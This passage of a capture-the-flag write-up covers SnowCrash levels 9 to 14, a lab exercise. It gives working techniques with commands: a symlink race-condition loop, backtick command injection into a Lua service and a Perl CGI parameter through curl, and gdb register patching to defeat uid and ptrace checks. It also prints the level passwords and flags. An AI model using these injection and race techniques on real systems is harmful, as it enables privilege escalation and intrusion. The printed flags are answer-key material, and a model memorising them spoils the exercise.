level09@SnowCrash:~$ nano /dev/shm/script.py
level09@SnowCrash:~$ python /dev/shm/script.py
f3iji1ju5yuevaus41q1afiuq
level09@SnowCrash:~$ su flag09
Password:
Don't forget to launch getflag !
flag09@SnowCrash:~$ getflag
Check flag.Here is your token : s5cAJpM8ev6XHw998pRWG728z
flag09@SnowCrash:~$
```
## level10
Upon enumeration, looks like this has similar mechanism with the last level, with another layer of complexity
```
level10@SnowCrash:~$ ls
level10 token
level10@SnowCrash:~$ file *
level10: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf7e21fb68568fa57d6317d0535b97d9fca66f841, not stripped
token: regular file, no read permission
level10@SnowCrash:~$ ./level10 ^C
level10@SnowCrash:~$ ltrace ./level10 asdf
__libc_start_main(0x80486d4, 2, 0xbffff7e4, 0x8048970, 0x80489e0 <unfinished ...>
printf("%s file host\n\tsends file to ho"..., "./level10"./level10 file host
sends file to host if you have access to it
) = 65
exit(1 <unfinished ...>
+++ exited (status 1) +++
level10@SnowCrash:~$ ./level10 asdf
./level10 file host
sends file to host if you have access to it
level10@SnowCrash:~$ ./level10 ./level10 asdf
```
I wanted to get to know more about this mechanism so I opened another terminal to act as my server using ` nc -l 0.0.0.0 6969`
In my original terminal, I sent a test file to `127.0.0.1` to see its behaviour
Original terminal:
```
level10@SnowCrash:/dev/shm$ ./level10 script.py 127.0.0.1
Connecting to 127.0.0.1:6969 .. Connected!
Sending file .. wrote file!
level10@SnowCrash:/dev/shm$
```
Other terminal:
```
level10@SnowCrash:~$ nc -l 0.0.0.0 6969
.*( )*.
bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137] # get from od -t u1
for x, byte in enumerate(bytes) :
bytes[x] -= x
print(''.join(chr(i) for i in bytes))
level10@SnowCrash:~$
```
Looks like the file gets sent in plaintext, now I gotta find a way to access the file to get it sent through. The ltrace shows this line before the file gets read, so I went to see what it is about in the man page.
```
access("token", R_OK) = -1 EACCES (Permission denied)
```
as it turns out, there is a warning about a security hole
> Warning: Using these calls to check if a user is authorized to,
for example, open a file before actually doing so using open(2)
creates a security hole, because the user might exploit the short
time interval between checking and opening the file to manipulate
it. For this reason, the use of this system call should be
avoided. (In the example just described, a safer alternative
would be to temporarily switch the process's effective user ID to
the real ID and then call open(2).)
This means that we can change the file behaviour after access has been called, and before open has been called. We need to change the file in such a way that it passes the first `access` call and opens the `token` file on the `open` call.
And since we couldnt do anything to stop or pause the execution externally, we will need to do the file operation alot of times in succession, hoping that the timing reaches our favour.
The operations which we will do to the file is to
1. create a link to a readable file
2. remove the link
3. create a link to the non readable file
4. remove the link
Hopefully, when we continiously run the application in another thread, the `access` will run before step 2, and open will run before step 4.
We made a script to do the linking operations
```bash=
echo stuff > /dev/shm/stuff
while true
do
ln -s /dev/shm/stuff /tmp/link
rm -f /tmp/link
ln -s /home/user/level10/token /tmp/link
rm -f /tmp/link
done
```
Also another script to run the program in a loop
```bash=
while true
do
/home/user/level10/level10 /tmp/link 127.0.0.1
done
```
The following link will start a local server that listens to a port and restarts everytime a connection closes `nc -lk 0.0.0.0 6969`
Do the following in order :
1. Run the server
2. Run the linking script
3. Run the program loop
You should able to see the value of token sometimes in the server output.
The value of the token is `woupa2yuojeeaaed06riuj63c`, which is the password for flag10. The `getflag` output for that user is `feulo4b72j7edeahuete3no7c`
## level11
Here are the enumeration results
```
level11@SnowCrash:~$ file level11.lua
level11.lua: setuid setgid a lua script, ASCII text executable
```
We are presented with a lua file, here is the code.
```lua=
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
function hash(pass)
prog = io.popen("echo "..pass.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
end
```
Looks like the code is already running in a server of port 5151 on localhost, and it reads data from the body, put it through the hash function and sends a respose.
However, looking at the code, we can deduce that there is no point trying to crack the encryption since we cant inject anything into the response. We can however, use command substitution and output the result in a file, and thats what we did
```
`getflag > /dev/shm/flag`
```
we got the flag in `/dev/shm/flag` `fa6v5ateaw21peobuub8ipe6s`
## level12
Here are the enumeration results
```
level12@SnowCrash:~$ file level12.pl
level12.pl: setuid setgid a perl script, ASCII text executable
```
We are presented with a perl file, here is the code.
```lua=
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";
sub t {
$nn = $_[1];
$xx = $_[0];
$xx =~ tr/a-z/A-Z/;
$xx =~ s/\s.*//;
@output = `egrep "^$xx" /tmp/xd 2>&1`;
foreach $line (@output) {
($f, $s) = split(/:/, $line);
if($s =~ $nn) {
return 1;
}
}
return 0;
}
sub n {
if($_[0] == 1) {
print("..");
} else {
print(".");
}
}
n(t(param("x"), param("y")));
```
Much like the last level, it seems like the code is already running in a server of port 4646 on localhost.
There are 2 query parameters, namely "x" and "y", which are passed to the function t. The function uses regex to convert alphabets to uppercase and keeps only the first word.
"x", now formatted, is used to egrep the file "/tmp/xd" and redirects stderr to stdout.
The rest of the code checks if the output matches the param "y" and prints 1 or 2 dots.
Our first instinct is to utilize command substitution, but putting the whole command wouldn't work, as the "x" parameter is trimmed to the first word.
To bypass that, we can run the entire command in a script that has a fully uppercase name, like "FLAGGETTER", and substitute that instead.
`/dev/shm/FLAGGETTER`
```bash=
#!/bin/bash
getflag > /dev/shm/flag
```
In order to run the script as a command, we have to add the directory that contains the script to the PATH env variable.
```
export PATH=/dev/shm:$PATH
```
Now we can try to pass the command substitution to the server via curl.
``curl "127.0.0.1:4646?x=\`flaggetter\`&y=y"``
Hmm seems like the flag file wasn't created, what is the error here?
We were stuck here for quite a while, thinking there were problems elsewhere.
We continued to test and in the end, we realized that the updated PATH doesn't carry over to other users.
To resolve the issue, we can use absolute path to run the script.
``curl "127.0.0.1:4646?x=\`/*/*/flaggetter\`&y=y"``
There we go, the flag file is now created at `/dev/shm/flag` and it contains the flag `g1qKMiRpXf53AWhDaU7FEkczr`
## level13
We are greeted by a setuid elf executable, and here are the enumeration results
```
level13@SnowCrash:~$ file *
level13: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xde91cfbf70ca6632d7e4122f8210985dea778605, not stripped
level13@SnowCrash:~$ ltrace ./level13
__libc_start_main(0x804858c, 1, 0xbffff7f4, 0x80485f0, 0x8048660 <unfinished ...>
getuid() = 2013
getuid() = 2013
printf("UID %d started us but we we expe"..., 2013UID 2013 started us but we we expect 4242
) = 42
exit(1 <unfinished ...>
+++ exited (status 1) +++
level13@SnowCrash:~$
```
The executable calls getuid to get the current user id which is the uid of `level13`, and it checks the return value and compares it to 4242.
We couldnt really get more out of this by using tracing programs, so we went to try to modify the uid and made a C program that does so
```
#include <unistd.h>
#include <sys/types.h>
int main() {
uid_t uid = 1000; // Set the desired UID
// Change the current UID to the specified UID
if (setuid(uid) == -1) {
perror("setuid");
return 1;
}
return 0;
}
```
However, our user is not root so this code will fail with error `EPERM`. We also tried looking into exploits in the `getuid()` function itself and couldnt find any.
Without any other choices, our only option left is to manipulate register values to bypass the check during the programs runtime using gdb.
We launched gdb with the program name `gdb ./level13` and it brings us to the gdb shell. On another terminal, we run the command `tty` to get the tty device, so that gdb can send the stdout to that device during debugging.

On the gdb shell, we first assign the output tty to the device we see just now by running `tty /dev/pts{id}`.
Once its done, we will make a breakpoint at the `getuid` function of the code because we want to make changes around that function by using `b getuid`.
We then enable register and assembly view by doing `layout asm` and `layout reg`.
Once we see the layouts, we can type `run` to start the debugging.

We will have to step-in until we see the return instruction to change the register values, we use the command `stepi`

Notice we are at the `ret` instruction, which is the assembly instrction for return. It will read the value in `eax` and return to the caller. It is at this point we want to change the value of `eax` to 4242.
```
set $eax=0x1092
```
and to continue the program execution till the process ends, use `continue`. In the other terminal, you should see the flag `2A31L79asukciNyi8uppkEuSx`

## level14
This is a mystery, there are no files in the home directory and nothing created by flag14 user in the system that I can see
```
level14@SnowCrash:~$ find / -user flag14 2>/dev/null
level14@SnowCrash:~$ ls
level14@SnowCrash:~$
```
the output of `top -U flag14` did not show any processes either

I think this means we gotta do everything ourselves now..
Since we used gdb in the last round to change the uid to 4242, maybe we can do the same to `getflag`, we can change the uid to the uid of flag14, which is according to `/etc/passwd`, 3014.
I set the breakpoint at `getuid`, but looks like I got caught red handed

So what if i set the breakpoint at `ptrace`? Will I be able to bypass this?
Turns out I can, I adjusted the return value to a sucess value in ptrace and I managed to get to `getuid`. The rest is the same as the last level, and I managed to get the flag `7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ`
